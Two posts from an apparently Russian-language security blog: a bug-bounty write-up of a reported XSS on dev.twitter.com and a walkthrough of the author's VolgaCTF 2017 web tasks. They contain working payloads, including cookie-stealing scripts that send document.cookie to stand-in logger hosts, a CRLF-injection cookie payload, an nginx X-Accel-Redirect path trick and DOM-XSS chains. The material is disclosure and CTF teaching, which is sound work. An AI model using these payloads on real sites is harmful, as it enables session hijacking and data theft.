30 сентября 2017

[dev.twitter.com] XSS


Разгребал логи скриптов для bugbounty и нашел интересное перенаправление на сайте dev.twitter.com.
Изначально оно выглядело так https://dev.twitter.com//xxx/

enter image description here

В таблице представлены этапы раскрутки уязвимости.

Request Location header Link on page Comment
//xxx/ http://dev.twitter.com/xxx xxx Entry point
/http:site.com/ http://dev.twitter.com/site.com http:site.com
/https:site.com/ https:site.com https:site.com http://dev.twitter.com - base URL.
https: - protocol change, so the Location URLis absolute.
/javascript:alert(1)/ javascript:alert(1) javascript:alert(1) XSS in the body.
But redirect to javascript: will be blocked by the browser.
/https:/%5cblackfan.ru/ https:/\blackfan.ru https:/\blackfan.ru Open Redirect
/aa://bb/cc/ /aa://dev.twitter.com/cc cc Interesting.
Let’s try to merge Open Redirect and XSS.
/aa://bb/javascript:111/ /aa://dev.twitter.com/javascript:111 javascript:111 Very close
/aa://bb/javascript:alert(1)/ javascript:alert(1) javascript:alert(1) WTF, Location header!
/aa://bb/javascript:222/ /aa://dev.twitter.com/javascript:222 javascript:222
/aa://bb/javascript:xxx/ javascript:xxx javascript:xxx It looks like I can only use numbers (host:port ?)
/aa://bb/!javascript:xxx/ /aa://dev.twitter.com/!javascript:xxx !javascript:xxx But if I put an invalid scheme, everything is fine.
shazzer: Characters before javascript uri
/aa://bb/%01javascript:xxx/ /aa://dev.twitter.com/█javascript:xxx █javascript:xxx Nice
//aa:1//bb/%01javascript:xxx/ aa:1//bb/█javascript:xxx aa:1//bb/█javascript:xxx Oh,come on
//aa:1/:///%01javascript:xxx/ //aa:1/://dev.twitter.com/█xxx █javascript:xxx And finally

Итак, сформировав в Location заголовке ссылку с некорректным портом мне удалось заблокировать перенаправление в браузере FireFox (я уже использовал этот трюк в другой XSS на Facebook). А за счет разницы обработки Request-URI в теле ответа была сформирована JavaScript ссылка.
Финальный PoC:

https://dev.twitter.com//x:1/:///%01javascript:alert(document.cookie)/

Открываем и нажимаем ссылку. На сайте также не использовался заголовок X-Frame-Options, что можно было использовать для эксплуатации этой XSS через Clickjacking.

enter image description here

Результат: https://hackerone.com/reports/260744

21 сентября 2017

Activity/VolgaCTF 2017 Writeup


Для участников VolgaCTF мной были подготовлены 4 задания на категорию web. В основном это были интересные идеи с рабочих проектов и bugbounty программ на client-side уязвимости.

Task 1.1
https://task1.finals.2017.volgactf.ru/
https://task1.finals.2017.volgactf.ru/source.zip
Nginx + PHP, задание с исходным кодом. Основная часть:

foreach ($_SERVER as $name => $value) { 
  if (substr($name, 0, 5) == 'HTTP_') { 
    header(str_replace(' ', '-', ucwords(strtolower(str_replace('_', ' ', substr($name, 5))))).': '.$value, false);
  } 
}

foreach($_GET as $name => $value) {
  if(is_string($value)) {
    header($name.': '.$value, false);
  }
}

Все GET параметры и заголовки запроса попадают в заголовки HTTP ответа (включая cookie с флагом). Так как cookie с флагом httpOnly - то даже если получится сделать XSS, то она ничего не даст, так что необходимо смотреть в сторону CORS. Для решения необходимо было узнать о заголовке Access-Control-Expose-Headers и сформировать payload для кражи cookie у бота.

<script>
    var xhr = new XMLHttpRequest();
    xhr.open('GET', 'https://task1.finals.2017.volgactf.ru/index.php?Access-Control-Allow-Origin=null&Access-Control-Expose-Headers=Cookie&Access-Control-Allow-Credentials=true', false);
    xhr.withCredentials = true;
    xhr.send();
    if (xhr.status == 200) {
        location = 'http://logger/?'+xhr.getResponseHeader('Cookie');
    }
</script>

Task 1.2
Вторая часть задания была на server-side уязвимость в nginx.
Флаг был в php файле на отдельном vhost. Однако, для него был следующий конфиг, который не позволял его получить.

server {
    ...
    server_name task1.finals.2017.volgactf.ru;
    root /var/www/html;
    ...
    location ~ \.php$ {
        include snippets/fastcgi-php.conf;
        fastcgi_pass unix:/run/php/php7.0-fpm.sock;
    }
    ...
}
server {
    ...
    server_name volgactf_dev;
    root /var/www/html_old;
    ...
    location ~ \.php$ {
        deny all;
    }
}

Помимо обычных заголовков, которые непосредственно попадают в HTTP ответ, есть еще и специальные, влияющие на обработку ответа. В случае с PHP это заголовок Location, меняющий код ответа на 302 и заголовок HTTP/ для указания кода и статуса ответа (http://php.net/manual/ru/function.header.php).

https://task1.finals.2017.volgactf.ru/?Location=http://google.com
https://task1.finals.2017.volgactf.ru/?HTTP/=666%20Ne%20OK

В nginx также есть специальные заголовки Status и X-Accel (https://www.nginx.com/resources/wiki/start/topics/examples/x-accel/).

https://task1.finals.2017.volgactf.ru/?Status=666+Ne+OK
https://task1.finals.2017.volgactf.ru/?X-Accel-Redirect=/index.php

Наиболее интересным является X-Accel-Redirect, который обычно используется для перенаправления запроса на внутренние location (https://nginx.ru/ru/docs/http/ngx_http_core_module.html#internal). В реализации этого перенаправления есть небольшой косяк, который я обнаружил, когда тестировал Task 1.1.

root /var/www/html;
GET $URI HTTP/1.1
GET /index.php HTTP/1.1

Результат: $root$URI == /var/www/html/index.php

root /var/www/html;
X-Accel-Redirect: $URI
X-Accel-Redirect: foo/bar

Результат: $root$URI == /var/www/htmlfoo/bar

Так как X-Accel-Redirect в отличие от Request-URI не обязательно должен начинаться с символа /, то в результате конкатенации может произойти частичный выход за пределы текущего document root с префиксом. Так как в задании было:

root /var/www/html;
root /var/www/html_old;

Обратиться к flag.php через дефолтный vhost не составляет труда:

https://task1.finals.2017.volgactf.ru/?X-Accel-Redirect=_old/flag.php

Task 2
https://task2.finals.2017.volgactf.ru/
https://task2.finals.2017.volgactf.ru/static/source.zip
Nginx + Django, задание с исходным кодом.

В задании было настроено кэширование ответа /account/ в котором для администратора отображался флаг.

    location /account/ {
        uwsgi_cache_key $request_uri$cookie_sessionid;

        uwsgi_cache cache;
        uwsgi_cache_valid 200 1m;
        uwsgi_cache_use_stale error  timeout invalid_header http_500;
        uwsgi_ignore_headers Vary;
        add_header X-Cache-Status $upstream_cache_status;

        include         uwsgi_params;
        uwsgi_pass      unix:/run/uwsgi/task2.sock;
    }

Ключом кэша является строка $request_uri$cookie_sessionid, где sessionid - это идентификатор сессии пользователя в Django.

В конфиге nginx также нужно было заметить уязвимое перенаправление с http на https (http://blog.volema.com/nginx-insecurities.html).

    if ($scheme != "https") {
        return 301 https://$host$uri;
    }

Вместо request_uri использовалась переменная uri, значение которой проходит URL декодирование и нормализацию пути. В случае, если такая переменная попадает в заголовки HTTP ответа - это позволяет провести CRLF Injection, причем в данном случае мы уже не можем использовать заголовки X-Accel или Status.
Протестировав кэширование ответа можно было заметить, что при запросе

GET /account/ HTTP/1.1
Host: task2.finals.2017.volgactf.ru
Cookie: sessionid=xxx; sessionid=lxum1hevzndcduszsbwbxcyekru9fpnj

Nginx в переменной $cookie_sessionid использует первую cookie, а Django вторую. То есть данный ответ будет закэширован с ключом /account/xxx.
Объединив CRLF Injection и разницу обработки cookie получаем следующий payload.

http://task2.finals.2017.volgactf.ru/%0aSet-Cookie:sessionid=xxx;path=/account/;

В результате:
1. В перенаправлении с http на https будет создана cookie sessionid=xxx
2. С / запрос будет перенаправлен на /account/, так как пользователь авторизован
3. Cookie sessionid=xxx не перезапишет оригинальную, так как у них разный path, но в тоже время будет первой в списке, так как префикс пути у нее больше.
4. Ответ с флагом будет закэширован с ключом /account/xxx

Получить флаг можно сделав такой запрос:

GET /acoount/xxx HTTP/1.1

или

GET /account/ HTTP/1.1
Cookie: sessionid=xxx;

Task 3
https://task3.finals.2017.volgactf.ru
Задание на DOM Based XSS.

В зависимости от указанного параметра lang в javascript происходила загрузка нужного html файла с текстом.

loadPage('language/' + lang + '.html');

При этом параметр lang разбивался на 2 части по символу _. Первая часть приводилась к lower case, вторая к upper case.

  var langSplit = lang.split('_');

  if(langSplit.length === 2) {
    var language = langSplit[0],
    countryCode = langSplit[1];

    language = language && language != language.toLowerCase() ? language.toLowerCase() : language;
    countryCode = countryCode && countryCode != countryCode.toUpperCase() ? countryCode.toUpperCase() : countryCode;

    return language + '_' + countryCode;

Также для скачивания текста использовался сценарий downloadButton.php в котором можно было сделать Open Redirect.

https://task3.finals.2017.volgactf.ru/downloadButton.php?link=//www.google.com/

Объединив загрузку html и open redirect можно загрузить содержимое с любого сайта, но мешает обработка параметра lang, так как необходимо указать строку в разном регистре downloadButton. Для обхода этого можно использовать URL кодирование, которое сработает независимо от регистра. Финальный payload:

https://task3.finals.2017.volgactf.ru/?lang=ru/../../download%2542utton.php?link=//site.com/xss.php?_xx

xss.php
<?php;
header("Access-Control-Allow-Origin: *");
header("Access-Control-Allow-Headers: cache-control");
print('<svg/onload="location=\'https://site.com/logger/\'+document.cookie"/>');

Если ваши варианты решения отличаются, было бы интересно их увидеть в комментариях. Задания будут работать еще несколько дней, бот расположен по адресу https://taskbot.finals.2017.volgactf.ru/.